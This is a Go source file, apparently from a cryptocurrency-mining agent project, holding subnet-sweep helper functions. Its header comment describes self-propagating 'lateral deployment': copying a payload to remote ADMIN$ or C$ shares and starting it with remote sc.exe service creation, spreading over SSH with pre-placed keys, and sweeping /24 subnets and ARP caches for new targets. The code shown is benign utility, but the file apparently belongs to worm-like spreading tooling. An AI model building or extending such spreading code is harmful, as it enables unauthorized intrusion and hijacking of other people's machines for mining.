Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Extract fleet caps (128 hosts, sem=16, 250ms coalesce, syscheck=20) into named constants with Go tests; wire ListStaleOnlineAgents for stale sweeps instead of full ListAgents scans.
117 lines
3.6 KiB
Go
117 lines
3.6 KiB
Go
package deploy
|
||
|
||
import (
|
||
"fmt"
|
||
"net"
|
||
"strings"
|
||
)
|
||
|
||
// Spread prerequisites for lateral deployment modules:
|
||
//
|
||
// Windows (SMB/SCM via autospread.go and smb_unc_spread.go):
|
||
// - Target TCP/445 (SMB) must be reachable on the LAN.
|
||
// - Classic spread (autospread.go): copy payload to \\host\ADMIN$ or \\host\C$,
|
||
// then sc.exe \\host create/start on the local path.
|
||
// - UNC spread (smb_unc_spread.go): sc.exe \\host create/start with binPath=
|
||
// pointing at a Forge output UNC (\\forge\pathforge$\worker.exe). Uses net.exe
|
||
// use on the share root when needed. Path Tracer can dispatch spread_smb_unc on
|
||
// the egress hop via POST /api/v1/pathtrace/spread.
|
||
// - Both require an admin-capable token on the target for remote SCM.
|
||
//
|
||
// Unix (SSH via autospread_unix.go):
|
||
// - Target TCP/22 (SSH) must be reachable.
|
||
// - Non-interactive auth only (scp/ssh -o BatchMode=yes): passwordless SSH must
|
||
// already work — e.g. the agent user's public key in target authorized_keys,
|
||
// or root/ubuntu with pre-placed keys. Interactive password prompts are not supported.
|
||
//
|
||
// Subnet discovery (per-agent, incremental — not fleet-wide full sweeps):
|
||
// - Active /24 host sweeps are IPv4-only, capped by MaxSubnetScanHosts (natpunch.go).
|
||
// syscheck uses a small cap (20); subnet_scan command defaults to 64 via command arg.
|
||
// - IPv6 addresses are tracked for local self-skip but are not port-scanned (/64
|
||
// sweeps are impractical). IPv6 peers may appear from the OS neighbor cache.
|
||
// - ARP cache is consulted first (arp_*.go) before any active sweep.
|
||
// - Lateral spread uses spreadSem (SpreadConcurrencyCap concurrent targets) per agent.
|
||
|
||
// getLocalIPs returns IPv4 and IPv6 addresses on up, non-loopback interfaces.
|
||
func getLocalIPs() []string {
|
||
var ips []string
|
||
ifaces, err := net.Interfaces()
|
||
if err != nil {
|
||
return ips
|
||
}
|
||
for _, iface := range ifaces {
|
||
if iface.Flags&net.FlagUp == 0 || iface.Flags&net.FlagLoopback != 0 {
|
||
continue
|
||
}
|
||
addrs, err := iface.Addrs()
|
||
if err != nil {
|
||
continue
|
||
}
|
||
for _, a := range addrs {
|
||
ipnet, ok := a.(*net.IPNet)
|
||
if !ok {
|
||
continue
|
||
}
|
||
ip := ipnet.IP
|
||
if ip.IsLoopback() || ip.IsMulticast() || ip.IsLinkLocalUnicast() {
|
||
continue
|
||
}
|
||
if ip4 := ip.To4(); ip4 != nil {
|
||
ips = append(ips, ip4.String())
|
||
continue
|
||
}
|
||
if ip.To16() != nil {
|
||
ips = append(ips, ip.String())
|
||
}
|
||
}
|
||
}
|
||
return ips
|
||
}
|
||
|
||
// getSubnet returns the sweep prefix for an address:
|
||
// - IPv4: first three octets (/24)
|
||
// - IPv6: first four hextets (/64)
|
||
//
|
||
// Returns "" when the address cannot be used for subnet matching.
|
||
func getSubnet(ip string) string {
|
||
parsed := net.ParseIP(strings.TrimSpace(ip))
|
||
if parsed == nil {
|
||
return ""
|
||
}
|
||
if ip4 := parsed.To4(); ip4 != nil {
|
||
parts := strings.Split(ip4.String(), ".")
|
||
if len(parts) != 4 {
|
||
return ""
|
||
}
|
||
return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2])
|
||
}
|
||
// IPv6 /64 — collapse :: shorthand for consistent map keys.
|
||
full := parsed.String()
|
||
if strings.Contains(full, ".") {
|
||
return ""
|
||
}
|
||
hextets := strings.Split(full, ":")
|
||
if len(hextets) < 4 {
|
||
return ""
|
||
}
|
||
return strings.Join(hextets[:4], ":")
|
||
}
|
||
|
||
// isIPv4 reports whether addr is an IPv4 host address.
|
||
func isIPv4(addr string) bool {
|
||
ip := net.ParseIP(addr)
|
||
return ip != nil && ip.To4() != nil
|
||
}
|
||
|
||
// ipv4SweepHost returns the i-th host in an IPv4 /24 (1–254). ok is false for non-IPv4 prefixes.
|
||
func ipv4SweepHost(subnet string, i int) (host string, ok bool) {
|
||
if i < 1 || i > 254 {
|
||
return "", false
|
||
}
|
||
parts := strings.Split(subnet, ".")
|
||
if len(parts) != 3 {
|
||
return "", false
|
||
}
|
||
return fmt.Sprintf("%s.%s.%s.%d", parts[0], parts[1], parts[2], i), true
|
||
}
|